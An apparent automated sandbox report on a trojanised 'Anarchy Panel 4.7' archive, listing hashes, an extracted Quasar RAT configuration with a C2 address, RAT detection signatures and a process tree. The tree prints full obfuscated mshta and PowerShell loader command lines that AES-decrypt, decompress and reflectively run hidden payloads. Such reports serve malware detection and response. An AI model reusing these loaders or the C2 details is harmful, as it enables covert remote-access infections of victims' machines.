Analysis

  • max time kernel
    147s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-11-2023 16:10

General

  • Target

    Anarchy Panel 4.7.zip

  • Size

    63.6MB

  • MD5

    a556f57a0bbb7c1044d39e8e3a139f56

  • SHA1

    39696049c9dae95abb05ddf30d0b2f608a14722c

  • SHA256

    58ee8da1d2bd0961e4d61868fbc2bb8e05c23211af585a01137e92708a7acb18

  • SHA512

    05779c77f3f786260f0d3da90ac766a9d24e74d3dad36d980b43e3f63e400767af25d635321245b43c5fe9e5f1f0f6c57aea164a662cc9b6422889c78b11868a

  • SSDEEP

    1572864:qDGE62dWWbowBWaCfGZUqjUfhzQIEy72agNIi:qDGE62dNsqt/YpvESYP

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v3.0.0 | Slave

C2

147.185.221.17:25792

Mutex

92d55a7d-fa9d-4687-a639-1c17ad82e127

Attributes
  • encryption_key

    AAADD171AFB4583A86B8E61A97433E10C4015A71

  • install_name

    .exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    3000

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 4 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 6 IoCs
  • .NET Reactor proctector 4 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:684
  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:620
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:336
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:960
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
          1⤵
            PID:1168
            • C:\Windows\system32\taskhostw.exe
              taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
              2⤵
                PID:2464
              • C:\Windows\$sxr-mshta.exe
                C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-TwfkFnoyLGWlxhzmArsw4312:POYjSNFM=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                PID:4016
                • C:\Windows\$sxr-cmd.exe
                  "C:\Windows\$sxr-cmd.exe" /c %$sxr-TwfkFnoyLGWlxhzmArsw4312:POYjSNFM=%
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1900
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo function ASDgm($hbtlH){ $jvCLB=[System.Security.Cryptography.Aes]::Create(); $jvCLB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jvCLB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jvCLB.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('blz4wP7NQ0z9G5HU5qt1rBXWDUDwhPjk4R14Im6s+lY='); $jvCLB.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('tyHaD0iUmC1atKVX/rbjZw=='); $bkHaC=$jvCLB.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $KdWyo=$bkHaC.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($hbtlH, 0, $hbtlH.Length); $bkHaC.Dispose(); $jvCLB.Dispose(); $KdWyo;}function cHftl($hbtlH){ $ZLGfO=New-Object System.IO.MemoryStream(,$hbtlH); $pEGfA=New-Object System.IO.MemoryStream; Invoke-Expression '$YNTor @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$ZLGfO,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $YNTor.CopyTo($pEGfA); $YNTor.Dispose(); $ZLGfO.Dispose(); $pEGfA.Dispose(); $pEGfA.ToArray();}function cDPce($hbtlH){ $KdWyo = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($hbtlH); $KdWyo = ASDgm($KdWyo); $KdWyo = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($KdWyo); return $KdWyo;}function execute_function($hbtlH,$HyIWf){ $wMvLZ = @( '$gbejj = [System.Reflection.Assembly]::Load([byte[]]$hbtlH);', '$nYAXe = $gbejj.EntryPoint;', '$nYAXe.Invoke($null, $HyIWf);' ); foreach ($XGPPP in $wMvLZ) { Invoke-Expression $XGPPP };}$WwewB = cDPce('6jh9/JwNM6P3zg5yY8XZBg==');$pAwEN = cDPce('ZViCuth6vUsFE5+msWnrZo/mOl8APvimIOP0OBotRXY=');$EiozW = cDPce('e/do7iEa4WyK+N/slo150A==');$xMYjW = cDPce('0AZpRDqOSBwoRnb0ckOSHA==');if (@(get-process -ea silentlycontinue $xMYjW).count -gt 1) {exit};$AmhAI = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($WwewB).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($pAwEN);$lPNsi=cHftl (ASDgm ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($AmhAI)));execute_function $lPNsi (,[string[]] ($EiozW)); "
                    4⤵
                      PID:1672
                    • C:\Windows\$sxr-powershell.exe
                      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
                      4⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:1488
                      • C:\Windows\$sxr-cmd.exe
                        "C:\Windows\$sxr-cmd.exe" /C echo [System.Diagnostics.Process]::GetProcessById(1488).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ASDgm($hbtlH){ $jvCLB=[System.Security.Cryptography.Aes]::Create(); $jvCLB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jvCLB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jvCLB.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('blz4wP7NQ0z9G5HU5qt1rBXWDUDwhPjk4R14Im6s+lY='); $jvCLB.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('tyHaD0iUmC1atKVX/rbjZw=='); $bkHaC=$jvCLB.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $KdWyo=$bkHaC.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($hbtlH, 0, $hbtlH.Length); $bkHaC.Dispose(); $jvCLB.Dispose(); $KdWyo;}function cHftl($hbtlH){ $ZLGfO=New-Object System.IO.MemoryStream(,$hbtlH); $pEGfA=New-Object System.IO.MemoryStream; Invoke-Expression '$YNTor @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$ZLGfO,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $YNTor.CopyTo($pEGfA); $YNTor.Dispose(); $ZLGfO.Dispose(); $pEGfA.Dispose(); $pEGfA.ToArray();}function cDPce($hbtlH){ $KdWyo = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($hbtlH); $KdWyo = ASDgm($KdWyo); $KdWyo = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($KdWyo); return $KdWyo;}function execute_function($hbtlH,$HyIWf){ $wMvLZ = @( '$gbejj = [System.Reflection.Assembly]::Load([byte[]]$hbtlH);', '$nYAXe = $gbejj.EntryPoint;', '$nYAXe.Invoke($null, $HyIWf);' ); foreach ($XGPPP in $wMvLZ) { Invoke-Expression $XGPPP };}$WwewB = cDPce('6jh9/JwNM6P3zg5yY8XZBg==');$pAwEN = cDPce('ZViCuth6vUsFE5+msWnrZo/mOl8APvimIOP0OBotRXY=');$EiozW = cDPce('e/do7iEa4WyK+N/slo150A==');$xMYjW = cDPce('0AZpRDqOSBwoRnb0ckOSHA==');if (@(get-process -ea silentlycontinue $xMYjW).count -gt 1) {exit};$AmhAI = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($WwewB).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($pAwEN);$lPNsi=cHftl (ASDgm ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($AmhAI)));execute_function $lPNsi (,[string[]] ($EiozW)); | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul
                        5⤵
                        • Executes dropped EXE
                        PID:2788
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" echo [System.Diagnostics.Process]::GetProcessById(1488).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ASDgm($hbtlH){ $jvCLB=[System.Security.Cryptography.Aes]::Create(); $jvCLB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jvCLB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jvCLB.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('blz4wP7NQ0z9G5HU5qt1rBXWDUDwhPjk4R14Im6s+lY='); $jvCLB.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('tyHaD0iUmC1atKVX/rbjZw=='); $bkHaC=$jvCLB.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $KdWyo=$bkHaC.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($hbtlH, 0, $hbtlH.Length); $bkHaC.Dispose(); $jvCLB.Dispose(); $KdWyo;}function cHftl($hbtlH){ $ZLGfO=New-Object System.IO.MemoryStream(,$hbtlH); $pEGfA=New-Object System.IO.MemoryStream; Invoke-Expression '$YNTor @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$ZLGfO,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $YNTor.CopyTo($pEGfA); $YNTor.Dispose(); $ZLGfO.Dispose(); $pEGfA.Dispose(); $pEGfA.ToArray();}function cDPce($hbtlH){ $KdWyo = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($hbtlH); $KdWyo = ASDgm($KdWyo); $KdWyo = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($KdWyo); return $KdWyo;}function execute_function($hbtlH,$HyIWf){ $wMvLZ = @( '$gbejj = [System.Reflection.Assembly]::Load([byte[]]$hbtlH);', '$nYAXe = $gbejj.EntryPoint;', '$nYAXe.Invoke($null, $HyIWf);' ); foreach ($XGPPP in $wMvLZ) { Invoke-Expression $XGPPP };}$WwewB = cDPce('6jh9/JwNM6P3zg5yY8XZBg==');$pAwEN = cDPce('ZViCuth6vUsFE5+msWnrZo/mOl8APvimIOP0OBotRXY=');$EiozW = cDPce('e/do7iEa4WyK+N/slo150A==');$xMYjW = cDPce('0AZpRDqOSBwoRnb0ckOSHA==');if (@(get-process -ea silentlycontinue $xMYjW).count -gt 1) {exit};$AmhAI = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($WwewB).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($pAwEN);$lPNsi=cHftl (ASDgm ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($AmhAI)));execute_function $lPNsi (,[string[]] ($EiozW)); "
                          6⤵
                            PID:3004
                          • C:\Windows\$sxr-powershell.exe
                            C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
                            6⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4296
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1064
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1056
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                      1⤵
                        PID:664
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1188
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                          1⤵
                            PID:2500
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                            1⤵
                            • Checks processor information in registry
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2624
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                            1⤵
                              PID:2616
                            • C:\Windows\System32\RuntimeBroker.exe
                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                              1⤵
                                PID:3828
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
                                1⤵
                                  PID:2936
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                  1⤵
                                    PID:2136
                                  • C:\Windows\system32\DllHost.exe
                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                    1⤵
                                      PID:2172
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                      1⤵
                                        PID:5000
                                      • C:\Windows\system32\SppExtComObj.exe
                                        C:\Windows\system32\SppExtComObj.exe -Embedding
                                        1⤵
                                          PID:4608
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                          1⤵
                                            PID:968
                                          • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                            "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                            1⤵
                                              PID:1784
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                              1⤵
                                                PID:4292
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                1⤵
                                                  PID:5036
                                                • C:\Windows\System32\RuntimeBroker.exe
                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                  1⤵
                                                    PID:5004
                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                    1⤵
                                                      PID:4056
                                                    • C:\Windows\system32\DllHost.exe
                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                      1⤵
                                                        PID:3660
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                        1⤵
                                                          PID:3472
                                                        • C:\Windows\Explorer.EXE
                                                          C:\Windows\Explorer.EXE
                                                          1⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3292
                                                          • C:\Windows\Explorer.exe
                                                            C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7.zip"
                                                            2⤵
                                                              PID:4408
                                                            • C:\Users\Admin\Desktop\Anarchy Panel 4.7\Anarchy Panel.exe
                                                              "C:\Users\Admin\Desktop\Anarchy Panel 4.7\Anarchy Panel.exe"
                                                              2⤵
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:3008
                                                              • C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe"
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Loads dropped DLL
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                • Suspicious use of FindShellTrayWindow
                                                                • Suspicious use of SendNotifyMessage
                                                                PID:3564
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\svchost.bat" "
                                                                3⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:1532
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo function ZSHdk($KarSC){ $ZfCFn=[System.Security.Cryptography.Aes]::Create(); $ZfCFn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZfCFn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZfCFn.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('KtZKjEms98+Uz3JdAwXifcpceQe4mGFCZZetPfWLjV8='); $ZfCFn.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('XxhTpYt8KLdLDSpO7hDOxw=='); $tlguC=$ZfCFn.CreateDecryptor(); $return_var=$tlguC.TransformFinalBlock($KarSC, 0, $KarSC.Length); $tlguC.Dispose(); $ZfCFn.Dispose(); $return_var;}function CaoMW($KarSC){ $tLaFs=New-Object System.IO.MemoryStream(,$KarSC); $lDGtw=New-Object System.IO.MemoryStream; Invoke-Expression '$ixeoS #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$tLaFs,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $ixeoS.CopyTo($lDGtw); $ixeoS.Dispose(); $tLaFs.Dispose(); $lDGtw.Dispose(); $lDGtw.ToArray();}function akbWW($KarSC,$vyQOD){ $xXjIa = @( '$qtafy = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$KarSC);', '$FBuAc = $qtafy.EntryPoint;', '$FBuAc.Invoke($null, $vyQOD);' ); foreach ($eBUTc in $xXjIa) { Invoke-Expression $eBUTc };}$QCWfW=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\svchost.bat').Split([Environment]::NewLine);foreach ($hgEiC in $QCWfW) { if ($hgEiC.StartsWith('SEROXEN')) { $GFlqW=$hgEiC.Substring(7); break; }}$llOQb=CaoMW (ZSHdk ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($GFlqW)));akbWW $llOQb (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\svchost.bat')); "
                                                                  4⤵
                                                                    PID:5060
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
                                                                    4⤵
                                                                    • Drops file in Windows directory
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:4764
                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                              1⤵
                                                                PID:1328
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                1⤵
                                                                  PID:676
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                  1⤵
                                                                    PID:2676
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                    1⤵
                                                                      PID:2640
                                                                    • C:\Windows\sysmon.exe
                                                                      C:\Windows\sysmon.exe
                                                                      1⤵
                                                                        PID:2608
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                          PID:2560
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                          1⤵
                                                                            PID:2432
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                            1⤵
                                                                              PID:2424
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                              1⤵
                                                                                PID:2340
                                                                              • C:\Windows\system32\sihost.exe
                                                                                sihost.exe
                                                                                1⤵
                                                                                  PID:2328
                                                                                • C:\Windows\System32\svchost.exe
                                                                                  C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                                  1⤵
                                                                                    PID:2196
                                                                                  • C:\Windows\System32\svchost.exe
                                                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                                    1⤵
                                                                                      PID:2092
                                                                                    • C:\Windows\System32\spoolsv.exe
                                                                                      C:\Windows\System32\spoolsv.exe
                                                                                      1⤵
                                                                                        PID:2040
                                                                                      • C:\Windows\System32\svchost.exe
                                                                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                                        1⤵
                                                                                          PID:376
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                                          1⤵
                                                                                            PID:1980
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                                                            1⤵
                                                                                              PID:1972
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                                              1⤵
                                                                                                PID:1964
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                                                1⤵
                                                                                                  PID:1848
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                                                                  1⤵
                                                                                                    PID:1752
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                                                                    1⤵
                                                                                                      PID:1688
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                                                                      1⤵
                                                                                                        PID:1648
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                                                                        1⤵
                                                                                                          PID:1600
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                                                                          1⤵
                                                                                                            PID:1544
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                                                                                            1⤵
                                                                                                              PID:1440
                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                                                                              1⤵
                                                                                                                PID:1424
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                                                                                                1⤵
                                                                                                                  PID:1400
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                                                                                                  1⤵
                                                                                                                    PID:1376
                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                                                                                                    1⤵
                                                                                                                    • Drops file in System32 directory
                                                                                                                    PID:1268
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                                                                                                    1⤵
                                                                                                                      PID:1224
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                      1⤵
                                                                                                                        PID:3312
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                        1⤵
                                                                                                                          PID:4612
                                                                                                                        • C:\Windows\System32\rundll32.exe
                                                                                                                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                          1⤵
                                                                                                                            PID:4164
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                            1⤵
                                                                                                                              PID:2480
                                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                              1⤵
                                                                                                                                PID:216
                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                1⤵
                                                                                                                                  PID:2940
                                                                                                                                • C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                  C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                                                  1⤵
                                                                                                                                    PID:3964
                                                                                                                                  • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                    C:\Windows\system32\wbem\wmiprvse.exe -Embedding
                                                                                                                                    1⤵
